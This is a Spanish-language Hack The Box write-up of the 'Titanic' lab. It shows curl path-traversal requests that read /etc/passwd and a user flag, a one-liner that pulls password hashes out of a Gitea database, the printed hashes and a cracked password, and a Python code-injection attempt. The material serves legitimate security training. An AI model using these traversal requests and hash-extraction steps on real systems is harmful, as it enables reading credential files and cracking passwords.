Titanic – Hack The Box [Write Up]

La máquina Titanic es una máquina fácil de HTB , sin embargo de las de ese nivel es de las que más me ha costado resolver, además de apoyarme en algún que otro walkthrough público.

Resumen de conceptos trabajados:

Extracción y análisis de bases de datos (Gitea y SQLite) Crackeo de hashes con Hashcat Acceso y explotación de cuentas con SSH Búsqueda de archivos y directorios vulnerables

Al final del post hago un resumen de toda la máquina para aclarar conceptos.

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas.

ENUMERACIÓN -> ESCANEO DE PUERTOS

Para asegurarme de que la máquina víctima está activa y puedo conectarme a ella, lanzo un PING o directamente un nmap, por ejemplo:

ping -c 1 10.129.80.184 -R

nmap -sn 10.129.80.184

Una vez comprobado que la máquina está activa, vamos a lanzar un nmap con permisos de root para ver qué puertos están abiertos y exportar el resultado en un fichero llamado «Escaneo» que nos pueda permitir más adelante manipularlo o consultarlo si lo necesitamos:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.80.184 -oG Escaneo

Completamos el escaneo y se reportan los 2 principales puertos que nos encontramos en los laboratorios de hacking: puerto 22 ssh de autenticación y 80 http web.

ENUMERACIÓN DE SERVICIOS Y VERSIONES PARA ESOS PUERTOS

Sabiendo que estos puertos están abiertos, lo que hacemos a continuación es lanzar una serie de scripts básicos de reconocimiento de nmap para ver qué servicios y versiones corren por esos puertos abiertos:

nmap -sCV -p22,80 10.129.80.184

Descartamos la versión del puerto ssh como vulnerable, ya que es una versión 8.9p1 superior a la versión 7.7. vulnerable y visto en este writeup .

El puerto 80 (HTTP) está corriendo Apache 2.4.52 y está configurado para redirigir el tráfico a http://titanic.htb/. Sin embargo, no se está resolviendo ese dominio en el navegador, lo que sugiere que el servidor está configurado para virtual hosting y espera que el tráfico llegue con el Host Header correcto.

Por tanto, si tratamos de acceder al dominio titanic.htb en el navegador vemos que no devuelve ninguna respuesta. Eso significa que para la misma IP se está asociando también ese dominio por lo que si añadimos la IP y el nombre del dominio a nuestro archivo /etc/hosts/ podemos ahora sí acceder a la página y ver contenido.

CONFIGURACIÓN VIRTUAL HOST

Virtual Hosting es cuando una dirección IP va asociada a varios dominios o subdominios. De esa forma estás vinculando una IP a un dominio/subdominio y poder resolverlos en el navegador sin tener que incluir la IP sino el nombre del domino/subdominio.

Vamos a buscar evidencias que nos puedan dar potenciales usuarios y contraseñas que podamos usar para logarnos después mediante el puerto 22 ssh.

Analizando el código fuente no se ve nada relevante.

Sin embargo hay un comportamiento anómalo cuando navegando a través de la web encuentro una opción de Reserva del Crucero, que al rellenarlo y enviarlo, descarga automáticamente un fichero .js con todos los valores de los campos rellenados en el formulario:

Y si continuo investigando por lo que paso a analizar las tecnologías que la web está usando mediante el uso de comandos:

whatweb http://titanic.htb/

Se detecta Werkzeug 3.0.3 como servidor HTTP y Python 3.10.12 para la ejecución del backend.

Si analizamos posibles exploits para Werkzeug podemos ver que hay varios exploits:

Si el modo de depuración (debug=True) está habilitado en el servidor, esto podría darnos una shell remota :

Werkzeug 0.15.4 – Path Traversal

• Ruta del exploit: python/webapps/50101.py
• Esto sugiere que, si la versión del servidor es vulnerable, podríamos acceder a archivos arbitrarios en el sistema.

Werkzeug – ‘Debug Shell’ Command Execution

• Ruta del exploit: multiple/remote/43905.py
• Exploit en Metasploit: python/remote/37814.rb

Después de analizar con Burpsuite la respuesta del servidor e intentar inyectar Python Code Execution en el parámetro name sabiendo que el servidor ejecuta Python como lenguaje:

__import__('os').system('whoami')

vemos que este devuelve una respuesta que aloja la información en /download?ticket=XXXXX.json .

Sin embargo, después de descargarme ese fichero json y abrirlo, la respuesta no es la que buscábamos

Comando de descarga:

curl -O http://titanic.htb/download?ticket=XXX.json

El JSON descargado sigue mostrando la cadena de código sin ejecutar, lo que indica que el backend no está evaluando directamente la entrada como código Python. Esto sugiere que el servidor podría estar almacenando los valores en un archivo o base de datos sin ejecutar el código directamente.

En paralelo ejecuto fuzzing web con gobuster en busca de posibles directorios o ficheros ocultos que me puedan permitir un código en python malicioso con el que quizás poder entablarme una reverse shell, pero resulta que no se encuentra ninguno activo:

Sin embargo, tengo una siguiente vía de ataque…y es que sabemos que /download requiere un ticket, y además sabemos por información anterior en cuanto al exploit detectado para Werkzeug que aplicaría un Path Traversal como explotación.

Por tanto, sobre este último punto, aplico el siguiente comando en consola y me devuelve un listado de usuarios potenciales, permisos, etc:

curl -i "http://titanic.htb/download?ticket=../../../../etc/passwd"

Podemos por tanto leer el archivo /etc/passwd, lo que confirma que el servidor no valida correctamente la entrada en ticket, permitiendo acceder a archivos arbitrarios.

Sin embargo no encuentro la forma clara de continuar…

Después de darle muchas vueltas (como veis la IP de la máquina me caducó y tuve que continuar con el lab más adelante – nueva 10.10.11.55) volví a analizar esta vez, no sólo a nivel de directorios, si no, ver si había subdominios relevantes, ya que me llamó la atención el usuario developer…

Lanzo por tanto un fuzzing con wfuff sobre la IP para detectar subdominios:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://titanic.htb/ -H  "Host:FUZZ.titanic.htb" -fc 301

Se detectan varios subdominios «dev» con un 200, por lo que investigamos:

Para probarlo en el navegador y ver qué contenido devuelve, incluimos ese subdominio dentro del etc/hosts y nos encontramos con una web hecha en Gitea:

Hacemos recopilación de información sobre este subdominio y vemos:

• Gestor o plataforma llamada «Gitea«.
• Versión 1.22.1 (la vulnerable fue la anterior 1.22.0 por Stored XSS), aquí no aplica y no se encuentra ninguna vulnerabilidad conocida:

• Directorio con potenciales usuarios visibles en el apartado Explore – Users

Conociendo el usuario developer, tratamos de hacer path traversal buscando la flag de user.txt, y encontramos:

curl -i "http://titanic.htb/download?ticket=../../../../home/developer/user.txt"

Ahora para escalar privilegios y ver la flag de root.txt, vemos que el usuario developer gestiona dos repositorios…

EXTRACCIÓN Y ANÁLISIS DE BASE DE DATOS GITEA.DB

Si nos leemos la documentación de GITEA sobre la configuración Docker como developer, desde la parte de Help en la página, podemos ver que el archivo de configuración se guarda bajo una ruta /data/gitea/gitea.db bajo usuario root después de hacer un curl a la ruta donde lo aloja el usuario developer.

Con esto, nos descargamos la base de datos de gitea y con el siguiente comando extraemos los diferentes hashes para los distintos usuarios incluyendo developer y administrator:

sqlite3 _.._.._home_developer_gitea_data_gitea_gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

CRACKEO DE HASHES

administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
test:sha256:50000:tZ7spTWIwYGoRGn6YOHrVA==:/yBBy5qpPSbLGM7L2KW4JyiiiVf8+QX7KACVj7zkmDPrT7mihicq87CB2SqN+V+q/Mc=
pippo:sha256:50000:YG7Xyfgcy2tyPbBLjnVJGw==:+TGcaBk6OYLemGkGk8OaUi642b9V4s6e13vOWRvIJnqfZTeVulhvxegmMAqklx3bDy0=
test2:sha256:50000:5kE2bTjSTxeqO+Hn88f4fA==:G6ubRYog0UBZWZAoJmKfQNXQmmkou7cgSffCUU6tUVYDFkukmtD8scNgINm3/8BZq/8=

Después de quitar el usuario y «:» , y dejar el resto de la secuencia como hashes guardado en un txt, lo paso por hashcat y consigo una contraseña:

hashcat -m 10900 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

Parece que uno de los hashes se ha crackeado con éxito. Para ver todos los hashes descifrados, ejecutamos:

hashcat -m 10900 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show

ACCESO Y EXPLOTACIÓN POR SSH DEVELOPER

La contra asociada a developer es la primera: 25282528 . Las otras que son las asociadas a usuarios test, las descarto de primeras.

Accedemos por ssh, usuario developer y la contra anterior, y podemos ver de nuevo la flag user.txt que ya habíamos conseguido con Path Traversal anteriormente.

Ahora desde el user developer vamos a intentar escalar privilegios de root, para ello probamos:

• «sudo -l» => Si el usuario tiene permisos para ejecutar comandos como root sin contraseña, sería una vía rápida.
• «find / -perm -4000 -type f 2>/dev/null» => para encontrar binarios con el bit SUID activado (especialmente inusuales como vim, nmap, perl, etc.).
• «find / -writable -type f 2>/dev/null» => para encontrar directorios con permisos de escritura…

Sin embargo con el tercer comando, vemos varios directorios interesantes de escritura que podríamos explorar…entre ellos /opt/app/static/assets/images

El directorio /opt/app/static/assets/images es escribible, y además tiene permisos globales de lectura (r–r–r–).lo cual tratamos de acceder e investigar:

Y resulta que como usuario developer dentro de este directorio se encuentra la flag de root.txt pese a no ser usuario root como veis.

RESUMEN Para resolver esta máquina, primero realizamos un escaneo y enumeración para identificar servicios en ejecución, encontrando un servidor Gitea. Descargamos la base de datos gitea.db, de la cual extraímos los hashes de los usuarios administrator y developer. Utilizamos hashcat con la wordlist rockyou.txt para crackear las contraseñas, obteniendo acceso SSH como developer. Desde esta cuenta, exploramos el sistema en busca de archivos interesantes y permisos mal configurados, encontrando directorios accesibles y un root.txt expuesto en /opt/app/static/assets/images, lo que nos permitió leer la flag de root sin ser root realmente. Aunque no se llegó a escalar los permisos hasta root, el acceso indebido a root.txt indicó un fallo de permisos que podría explotarse más. La estrategia final sería buscar procesos mal configurados, scripts editables en /etc/cron.d/, o abuso de herramientas con SUID como fusermount3.